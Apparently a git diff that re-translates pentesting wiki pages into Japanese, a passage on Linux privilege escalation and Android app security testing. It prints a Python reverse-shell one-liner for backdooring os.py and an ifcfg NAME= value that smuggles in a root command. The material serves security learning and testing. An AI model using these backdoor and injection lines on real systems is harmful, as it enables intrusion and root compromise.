you can write where python script is going to be executed, copy and paste the os.py library). -ライブラリに**backdoor を仕込む**には、os.py ライブラリの末尾に以下の行を追加してください(IP と PORT を変更してください): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -`logrotate` の脆弱性により、ログファイルやその親ディレクトリに対して **write permissions** を持つユーザーが権限を昇格させられる可能性があります。これは `logrotate` が多くの場合 **root** として動作しており、特に _**/etc/bash_completion.d/**_ のようなディレクトリで任意のファイルを実行するように操作できるためです。_ /var/log_ だけでなく、ログローテーションが適用されるすべてのディレクトリのパーミッションを確認することが重要です。 +`logrotate` の脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザーが権限を昇格できる可能性があります。これは多くの場合 **root** で動作する `logrotate` を操作して任意のファイルを実行させられるためで、特に _**/etc/bash_completion.d/**_ のようなディレクトリが狙われます。確認すべきは _/var/log_ だけでなく、ログローテートが適用される任意のディレクトリのパーミッションです。 > [!TIP] -> この脆弱性は `logrotate` バージョン `3.18.0` およびそれ以前に影響します +> この脆弱性は `logrotate` バージョン `3.18.0` 以下に影響します -詳細は次のページを参照してください: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +脆弱性の詳細は次のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 この脆弱性は [**logrotten**](https://github.com/whotwagner/logrotten) を使って悪用できます。 -この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** と非常に類似しています。したがって、ログを変更できることが分かった場合は、そのログを誰が管理しているかを確認し、ログをシンボリックリンクに置き換えて権限昇格が可能かどうかを確認してください。 +この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs)** に非常に似ています。ログを書き換えられる状況を見つけたら、誰がそのログを管理しているかを確認し、ログをシンボリックリンクで置き換えて権限昇格できないか調べてください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**脆弱性参照:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -何らかの理由で、ユーザーが _/etc/sysconfig/network-scripts_ に `ifcf-` スクリプトを**write** できる、または既存のスクリプトを**adjust** できる場合、あなたの**system is pwned**。 +何らかの理由でユーザーが `ifcf-` スクリプトを _/etc/sysconfig/network-scripts_ に **書き込める** か、既存のスクリプトを **修正できる** 場合、あなたの **system is pwned** です。 -Network scripts(例えば _ifcg-eth0_)はネットワーク接続に使用されます。見た目は .INI ファイルとまったく同じです。しかし、これらは Linux 上で Network Manager (dispatcher.d) によって ~sourced~ されます。 +Network scripts(例: _ifcg-eth0_)はネットワーク接続に使われます。見た目は .INI ファイルそのものです。しかし、Linux 上では Network Manager (dispatcher.d) によって \~sourced\~ されます。 -私の場合、これらの network スクリプト内の `NAME=` の扱いが正しくありません。**名前に空白がある場合、システムは空白の後の部分を実行しようとします。** つまり、**最初の空白以降のすべてが root として実行される**ということです。 +私の場合、これらの network scripts 内の `NAME=` の扱いが正しくありませんでした。名前に **スペース/空白文字が含まれていると、システムは空白の後の部分を実行しようとします**。つまり **最初の空白以降のすべてが root として実行される** ことになります。 例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1397,15 +1413,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Network と /bin/id の間に空白があることに注意_) +(_注意: Network と /bin/id の間に空白があること_) ### **init, init.d, systemd, and rc.d** -ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所です。これは **古典的な Linux のサービス管理システム** で、サービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` があります。 +ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **scripts** の格納場所です。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使用されます。 -一方、`/etc/init` は **Upstart** に関連し、Ubuntu によって導入された新しい **service management** で、サービス管理のための設定ファイルを使用します。Upstart への移行後も互換レイヤにより SysVinit スクリプトは Upstart 設定と並行して使われ続けます。 +一方、`/etc/init` は Ubuntu が導入したより新しいサービス管理である Upstart と関連しており、サービス管理のために設定ファイルを使用します。Upstart への移行後も、互換レイヤにより SysVinit スクリプトは Upstart 設定と併用されています。 -**systemd** は現代的な初期化およびサービスマネージャとして登場し、オンデマンドのデーモン起動、自動マウント (automount) 管理、システム状態のスナップショットなどの高度な機能を提供します。ファイルは配布パッケージ向けに `/usr/lib/systemd/`、管理者の変更用に `/etc/systemd/system/` に整理され、システム管理を効率化します。 +**systemd** は、オンデマンドでのデーモン起動、automount の管理、システム状態のスナップショットなどの高度な機能を提供するモダンな初期化およびサービスマネージャーです。ディストリビューションパッケージ向けのファイルは `/usr/lib/systemd/` に、管理者が変更するためのファイルは `/etc/systemd/system/` に配置され、システム管理を簡素化します。 ## Other Tricks @@ -1432,7 +1448,8 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android の rooting frameworks は一般に syscall をフックして特権付きカーネル機能を userspace の manager に公開します。マネージャの認証が弱い(例: FD-order に基づく署名チェックや脆弱なパスワード方式)と、ローカルアプリがマネージャを偽装して既に root 化されたデバイス上で root に昇格できる可能性があります。詳細とエクスプロイトは以下参照: +Android rooting frameworks は一般的に privileged kernel 機能を userspace の manager に公開するために syscall をフックします。FD-order に基づく署名チェックや脆弱なパスワード方式など、弱い manager 認証があると、ローカルアプリが manager を偽装して既に root 化されたデバイスで root にエスカレートできる可能性があります。詳細とエクスプロイトの手順は以下を参照してください: + {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md @@ -1449,14 +1466,14 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Linux のローカル privilege escalation ベクターを探すためのベストツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux と macOS のカーネル脆弱性を列挙するツール [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 4dc7549c8..e8876e7ec 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Androidアプリケーション Pentesting +# Android Applications Pentesting {{#include ../../banners/hacktricks-training.md}} ## Androidアプリケーションの基本 -このページは、**Androidのセキュリティに関連する最重要部分と、Androidアプリケーション内で最も危険なコンポーネント**について知るために、まず読むことを強く推奨します: +このページをまず読むことを強くお勧めします。**Androidのセキュリティに関連する最も重要な部分と、Androidアプリケーション内で最も危険なコンポーネント**について知ることができます: {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -これは、エミュレートされたデバイスでも実機でも、Androidデバイスに接続するために必要な主要なツールです。\ -**ADB** はコンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティは、ファイルの双方向での**コピー**、アプリの**インストール**と**アンインストール**、**shell commands**の実行、データの**バックアップ**、ログの**閲覧**などの機能を提供します。 +これは、androidデバイス(エミュレートされたものまたは実機)に接続するための主要なツールです。\ +**ADB**を使うと、コンピュータから**USB**または**Network**経由でデバイスを制御できます。このユーティリティは、双方向のファイルの**コピー**、アプリの**インストール**と**アンインストール**、シェルコマンドの**実行**、データの**バックアップ**、ログの**読み取り**などの機能を提供します。 -adbの使い方を学ぶには、次の[**ADB Commands**](adb-commands.md)の一覧を参照してください。 +次の[**ADB Commands**](adb-commands.md)の一覧を参照してadbの使い方を学んでください。 ## Smali -アプリケーションコードを変更して**隠された情報**(難読化されたパスワードやフラグなど)にアクセスすることが有用な場合があります。その際、apkをデコンパイルしてコードを修正し、再コンパイルすることが考えられます。\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。これは、これから紹介する動的解析中のいくつかのテストの代替手段として非常に役立ちます。常にこの可能性を念頭に置いてください。 +場合によっては、**隠された情報**(難読化されたパスワードやフラグなど)にアクセスするために**アプリケーションのコードを変更する**ことが有用です。そこで、apkを逆コンパイルしてコードを修正し、再コンパイルすることが有効な場合があります。\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。これは、これから紹介する動的解析中の複数のテストの**代替手段として非常に有用**です。したがって、**常にこの可能性を念頭に置いてください**。 -## その他の興味深いテクニック +## その他の興味深いトリック - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- デバイスからAPKを抽出する方法: +- **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- デバイスからAPKを抽出: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- [APKEditor](https://github.com/REAndroid/APKEditor) を使用して、すべての splits と base apks をマージする: +- すべての splits と base apks を [APKEditor](https://github.com/REAndroid/APKEditor) でマージする: ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk # after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` -## ケーススタディと脆弱性 +## ケーススタディ & 脆弱性 {{#ref}} @@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## 静的解析 -まず、APKを解析する際はデコンパイラを使って**Javaコードを確認する**べきです。\ -[**利用可能なさまざまなデコンパイラに関する情報はこちらを参照してください**](apk-decompilers.md)。 +まず、APK を解析する際は decompiler を使って **Java コードを確認する**べきです。\ +Please, [**read here to find information about different available decompilers**](apk-decompilers.md). -### 興味深い情報の探索 +### 興味深い情報を探す -APKの**strings**を覗くだけで、**パスワード**、**URL**(https://github.com/ndelphit/apkurlgrep)、**APIキー**、**暗号化**、**Bluetooth UUID**、**トークン**などや興味深いものを検索できます。コード実行の**バックドア**や認証バックドア(アプリにハードコードされた管理者資格情報)も探してみてください。 +APK の **strings** を見るだけで、**passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** など興味深いものを探せます。コード実行の **backdoors** や認証 backdoors(アプリにハードコードされた管理者資格情報)も確認してください。 **Firebase** -**Firebase URL**には特に注意し、設定が不適切でないか確認してください。[Firebaseとは何か、及びそれを悪用する方法の詳細はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**Firebase** の URL に特に注意し、設定が不適切でないか確認してください。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### アプリケーションの基本理解 - Manifest.xml, strings.xml +### アプリケーションの基本的理解 - Manifest.xml, strings.xml -アプリケーションの _Manifest.xml_ と _strings.xml_ ファイルを**調査することで潜在的なセキュリティ脆弱性が明らかになることがあります**。これらのファイルはデコンパイラで取得するか、APKの拡張子を .zip に変更して解凍して取得できます。 +アプリケーションの _Manifest.xml_ と **_strings.xml_** を調査することで、潜在的なセキュリティ脆弱性を明らかにできることがあります。これらのファイルは decompiler を使うか、APK の拡張子を .zip に変更して展開することで参照できます。 -**Manifest.xml** から特定できる脆弱性には次のようなものがあります: +**Manifest.xml** から特定できる **脆弱性** には以下が含まれます: -- **Debuggable Applications**: _Manifest.xml_ に `debuggable="true"` と設定されたアプリケーションは、接続を許可することで悪用につながるリスクがあります。デバイス上で debuggable なアプリを見つけて悪用する方法については、該当するチュートリアルを参照してください。 -- **Backup Settings**: `android:allowBackup="false"` 属性は、機密情報を扱うアプリでは明示的に設定しておくべきです。特に USBデバッグ が有効な場合に adb 経由で不正なデータバックアップを防ぐため重要です。 -- **Network Security**: _res/xml/_ 内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンや HTTP トラフィック設定などのセキュリティ詳細を指定できます。例えば特定ドメインの HTTP トラフィックを許可する設定などが考えられます。 -- **Exported Activities and Services**: マニフェスト内でエクスポートされた activity や service を特定することで、悪用されうるコンポーネントが浮かび上がります。動的テスト中のさらなる解析でこれらをどのように悪用できるかが明らかになります。 -- **Content Providers and FileProviders**: 公開された content provider はデータへの不正アクセスや改ざんを許す可能性があります。FileProviders の設定も入念に確認してください。 -- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用される可能性があり、特に URL スキームの扱い方による入力脆弱性に注意する必要があります。 -- **SDK Versions**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion` 属性はサポートする Android バージョンを示します。古く脆弱な Android バージョンをサポートしているとセキュリティ上の問題になります。 +- **Debuggable Applications**: _Manifest.xml_ で `debuggable="true"` に設定されたアプリは、接続を許可してしまい、悪用のリスクがあります。デバッグ可能なアプリをデバイス上で検出して悪用する方法については、該当チュートリアルを参照してください。 +- **Backup Settings**: 敏感な情報を扱うアプリでは、`android:allowBackup="false"` を明示的に設定しておくべきです。特に USB debugging が有効な場合、adb 経由での不正なデータバックアップを防ぐためです。 +- **Network Security**: `android:networkSecurityConfig="@xml/network_security_config"` のようなカスタム network security 設定(`res/xml/`)は、certificate pinning や HTTP トラフィック設定などのセキュリティ詳細を指定できます。例として特定ドメインで HTTP トラフィックを許可しているケースなどがあります。 +- **Exported Activities and Services**: マニフェストで exported な activities や services を特定すると、悪用されうるコンポーネントが浮き彫りになります。動的テストでこれらをさらに解析し、どのように悪用できるかを確認します。 +- **Content Providers and FileProviders**: 公開されている content provider はデータの不正アクセスや改竄を許す可能性があります。FileProviders の設定も注意深く確認してください。 +- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用される可能性があり、特に URL schemes の扱い方が入力に対する脆弱性を生まないかを確認する必要があります。 +- **SDK Versions**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion` はサポートしている Android バージョンを示します。古い脆弱な Android バージョンをサポートしないことが重要です。 -**strings.xml** ファイルからは、APIキー、カスタムスキーマ、その他開発者のメモなどの機密情報が見つかることがあり、これらのリソースを注意深くレビューする必要があります。 +**strings.xml** ファイルからは、API keys、カスタムスキーマ、その他開発者のメモなどの機密情報が見つかることがあり、これらのリソースは注意深く確認する必要があります。 ### Tapjacking -**Tapjacking** は、**悪意のある** **アプリケーション** が起動して **被害アプリの上に重ねて表示される** 攻撃です。被害アプリを目に見えて覆い隠すと、悪意のある UI はユーザを騙して操作させ、その操作を被害アプリに渡します。\ -結果的に、ユーザは自分が実際に被害アプリ上で操作を行っていることに気づかないまま動作させられてしまいます。 +**Tapjacking** は、**malicious** な **application** を起動して **victim application の上に重ねて配置する**攻撃です。victim app を視覚的に覆い隠した状態で、UI をユーザを騙すように設計し、ユーザの操作を victim app に渡すようにします。\ +結果として、ユーザは実際には victim app 上で操作を行っていることに気づかされないまま操作させられてしまいます。 -詳しくは以下を参照してください: +Find more information in: {{#ref}} @@ -104,9 +104,9 @@ tapjacking.md ### Task Hijacking -`launchMode` が **`singleTask`** に設定され、かつ `taskAffinity` が定義されていない **activity** は Task Hijacking の脆弱性があります。これは、別の **application** をインストールしてそれが本物のアプリより先に起動されると、**本物のアプリのタスクをハイジャックしてしまう**(ユーザは本物を使っているつもりで悪意のあるアプリを操作している)可能性があるという意味です。 +`launchMode` が **`singleTask` で `taskAffinity` が定義されていない** activity は Task Hijacking の脆弱性があります。つまり、悪意ある **application** をインストールして、そのアプリが本来のアプリより先に起動されると、**本来のアプリのタスクをハイジャック**してしまう可能性があり(ユーザは本物のアプリを使っているつもりで悪意あるアプリを操作している)、危険です。 -詳細は以下を参照してください: +More info in: {{#ref}} @@ -117,69 +117,69 @@ android-task-hijacking.md **Internal Storage** -Android では、内部ストレージに**保存された**ファイルはそれを作成した**アプリのみがアクセスできるように設計**されています。このセキュリティは OS によって強制され、多くのアプリにとっては十分です。しかし開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` のようなモードを使ってファイルを他のアプリ間で共有することがあり、これらのモードは悪意あるアプリも含めた他のアプリからのアクセスを制限しません。 +Android では、**internal** ストレージに保存されたファイルは、それを作成した **app** のみがアクセスできるように設計されています。このセキュリティ対策は OS によって強制されており、多くのアプリのセキュリティ要件には十分です。しかし、開発者が `MODE_WORLD_READABLE` や `MODE_WORLD_WRITABLE` のようなモードを使用して複数のアプリ間でファイルを共有する場合があります。これらのモードは他のアプリ、場合によっては悪意あるアプリからのアクセスを制限しません。 1. **Static Analysis:** -- `MODE_WORLD_READABLE` と `MODE_WORLD_WRITABLE` の使用は**慎重に精査**してください。これらのモードはファイルを**意図しない、または不正なアクセス**に晒す可能性があります。 +- `MODE_WORLD_READABLE` と `MODE_WORLD_WRITABLE` の使用がないかを慎重に確認してください。これらのモードはファイルを意図しない、または不正なアクセスに晒す可能性があります。 2. **Dynamic Analysis:** -- アプリが作成するファイルに設定されている**パーミッション**を確認してください。具体的には、ファイルが世界中で読み取り/書き込み可能になっていないかをチェックします。これがあると、デバイスにインストールされた**任意のアプリ**がそれらのファイルを読み取ったり改変したりできる重大なリスクになります。 +- アプリが作成するファイルの権限を確認してください。特に、ファイルが worldwide に読み取り可能または書き込み可能に設定されていないかをチェックします。これが有効だと、デバイスにインストールされている任意のアプリがこれらのファイルを読み書きできるため、重大なセキュリティリスクになります。 **External Storage** -SDカードなどの**外部ストレージ**上のファイルを扱う際には、以下の注意が必要です: +SD カードなどの **external storage** 上のファイルを扱う際は、以下の点に注意してください: 1. **Accessibility**: -- 外部ストレージ上のファイルは**グローバルに読み書き可能**です。つまり任意のアプリやユーザがアクセスできます。 +- external storage 上のファイルは一般的にグローバルに読み書き可能です。つまり、任意のアプリやユーザがアクセスできます。 2. **Security Concerns**: -- アクセスが容易であるため、機密情報を外部ストレージに保存するべきではありません。 -- 外部ストレージは取り外し可能であり、任意のアプリによってアクセスされ得るため安全性が低いです。 +- アクセスが容易なため、機密情報を external storage に保存しないことが推奨されます。 +- external storage は取り外し可能であり、任意のアプリからアクセスされる可能性があるため、安全性が低くなります。 3. **Handling Data from External Storage**: -- 外部ストレージから取得したデータは常に**入力検証**を行ってください。外部ストレージのデータは信頼できないソースから来る可能性があるため重要です。 -- 外部ストレージに実行ファイルや class ファイルを置き、動的にロードすることは強く推奨されません。 -- どうしても外部ストレージから実行可能ファイルを取得して動的にロードする必要がある場合は、それらのファイルが**署名され、暗号的に検証**されていることを確認してください。これはアプリのセキュリティ整合性を保つ上で重要です。 +- external storage から取得するデータは常に入力検証を行ってください。これは、信頼できないソースからのデータであるため非常に重要です。 +- external storage に実行ファイルや class ファイルを保存して動的にロードすることは強く非推奨です。 +- もしアプリが external storage から実行ファイルを取得して動的にロードする必要がある場合、それらのファイルは署名され、暗号的に検証されてからロードするようにしてください。これはアプリのセキュリティ整合性を保つために不可欠です。 -外部ストレージには /storage/emulated/0 , /sdcard , /mnt/sdcard でアクセスできます +External storage は /storage/emulated/0 , /sdcard , /mnt/sdcard でアクセスできます > [!TIP] -> Android 4.4(**API 17**)以降、SDカードにはアプリごとに専用のディレクトリ構造があり、アプリからはそのアプリ専用のディレクトリにのみアクセスが制限されます。これにより、悪意のあるアプリが別のアプリのファイルを読み書きすることを防げます。 +> Android 4.4 (**API 17**) 以降、SD card はディレクトリ構造が変更され、アプリからアクセスできるのはそのアプリ専用のディレクトリに限定されるようになりました。これにより、悪意あるアプリが他のアプリのファイルに対して読み取りや書き込みアクセスを得ることを防ぎます。 -**平文で保存された機密データ** +**Sensitive data stored in clear-text** -- **Shared preferences**: Android は各アプリが `/data/data//shared_prefs/` に XML ファイルを簡単に保存できる仕組みがあり、そのフォルダ内に平文で機密情報が保存されていることがあります。 -- **Databases**: Android は各アプリが `/data/data//databases/` に sqlite データベースを簡単に保存でき、そのフォルダ内に平文で機密情報が保存されていることがあります。 +- **Shared preferences**: Android は各アプリが `/data/data//shared_prefs/` に簡単に xml ファイルを保存できるようにしており、そのフォルダ内に平文の機密情報が見つかることがあります。 +- **Databases**: Android は各アプリが `/data/data//databases/` に簡単に sqlite データベースを保存できるようにしており、そのフォルダ内に平文の機密情報が見つかることがあります。 ### Broken TLS **Accept All Certificates** -なぜか開発者が、例えばホスト名が一致しない場合でもすべての証明書を受け入れてしまうことがあります。以下のようなコード行で: +なぜか開発者がすべての証明書を受け入れてしまうことがあります。例えば hostname が一致しない場合でも以下のようなコード行で受け入れてしまうことがあります: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` -BurpのCAをデバイス内で許可せずに、Burpのようなプロキシを使ってトラフィックをキャプチャしてみるのが良いテスト方法です。また、Burpで別のホスト名用の証明書を生成してそれを使うこともできます。 +A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### Broken Cryptography +### 脆弱な暗号 -**不適切なキー管理プロセス** +**Poor Key Management Processes** -一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコード/予測可能なキーで暗号化してしまいます。これは避けるべきで、なぜなら一部のreversingによって攻撃者が機密情報を抽出してしまう可能性があるからです。 +一部の開発者は機密データをローカルストレージに保存し、コード内にハードコード/予測可能なキーで暗号化します。これはリバースで攻撃者が機密情報を抽出できる可能性があるため避けるべきです。 **Use of Insecure and/or Deprecated Algorithms** -開発者は**deprecated algorithms**を使って認可チェック、データの**保存**や**送信**を行うべきではありません。これらのアルゴリズムには RC4、MD4、MD5、SHA1 などがあります。例えばパスワードを保存するために**hashes**を使う場合は、ソルトを用いたブルートフォース耐性のあるハッシュを使用するべきです。 +開発者は認証チェック、データの保存や送信に**deprecated algorithms**を使うべきではありません。これらのアルゴリズムには RC4, MD4, MD5, SHA1 などがあります。例えばパスワード保存に**hashes**を使う場合は、ソルト付きでブルートフォース耐性のあるハッシュを使用するべきです。 ### Other checks -- 攻撃者によるreverse engineerの労力を難しくするために、**APKをobfuscate**することが推奨されます。 -- アプリが機微なものである場合(銀行アプリなど)、モバイルが**rooted**かどうかを独自にチェックし、それに応じた処理を行うべきです。 -- アプリが機微なものである場合(銀行アプリなど)、**emulator**が使われていないかをチェックするべきです。 -- アプリが機微なものである場合(銀行アプリなど)、実行前に**自身のintegrityをチェック**して改変されていないか確認するべきです。 -- どのcompiler/packer/obfuscatorが使われているかを確認するために [**APKiD**](https://github.com/rednaga/APKiD) を使用してください。 +- It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. +- If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. +- If the app is sensitive (like bank apps), it should check if an **emulator** is being used. +- If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. +- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK ### React Native Application -Reactアプリケーションのjavascriptコードへ簡単にアクセスする方法を学ぶには、以下のページを読んでください: +Read the following page to learn how to easily access javascript code of React applications: {{#ref}} @@ -188,7 +188,7 @@ react-native-application.md ### Xamarin Applications -XamarinアプリのC#コードへ簡単にアクセスする方法を学ぶには、以下のページを読んでください: +Read the following page to learn how to easily access C# code of a xamarin applications: {{#ref}} @@ -197,17 +197,17 @@ XamarinアプリのC#コードへ簡単にアクセスする方法を学ぶに ### Superpacked Applications -この[**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、superpackedはアプリのコンテンツを単一ファイルに圧縮するMetaアルゴリズムです。ブログではこの種のアプリを展開するアプリを作成する可能性について触れており、もう一つのより高速な方法として**アプリを実行してファイルシステムから解凍済みファイルを収集する**方法が述べられています。 +According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. The blog talks about the possibility of creating an app that decompress these kind of apps... and a faster way which involves to **execute the application and gather the decompressed files from the filesystem.** ### Automated Static Code Analysis -[**mariana-trench**](https://github.com/facebook/mariana-trench) はアプリケーションの**コード**を**スキャン**して**脆弱性**を発見できるツールです。このツールは、ツールに対して**入力がユーザによって制御される場所**を示す一連の**known sources**、悪意あるユーザ入力が被害を引き起こす可能性のある**危険な場所**を示す**sinks**、および**rules**を含みます。これらのrulesは、脆弱性を示すsources-sinksの**組み合わせ**を表します。 +The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. -この知識に基づいて、**mariana-trenchはコードをレビューし、そこにある可能性のある脆弱性を発見します**。 +With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. ### Secrets leaked -アプリケーションにはAPIキー、パスワード、隠しURL、サブドメインなどのsecretsが含まれている場合があり、これらを発見できることがあります。例えば [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) のようなツールを使用できます。 +An application may contain secrets (API keys, passwords, hidden urls, subdomains...) inside of it that you might be able to discover. You could us a tool such as [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) ### Bypass Biometric Authentication @@ -236,155 +236,155 @@ content-protocol.md ## Dynamic Analysis -> まず最初に、アプリをインストールでき、かつ環境(Burp CA cert、Drozer、Frida など)を整えられる環境が必要です。したがって、rootedデバイス(エミュレートされたものでも可)が強く推奨されます。 +> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. ### Online Dynamic analysis -[https://appetize.io/](https://appetize.io/) に**無料アカウント**を作成できます。このプラットフォームではAPKを**アップロード**して**実行**できるため、APKの挙動を確認するのに便利です。 +You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -ウェブ上で**アプリケーションのログを見る**こともでき、**adb**で接続することも可能です。 +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -ADB接続のおかげで、エミュレータ内で**Drozer**や**Frida**を使用できます。 +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. ### Local Dynamic 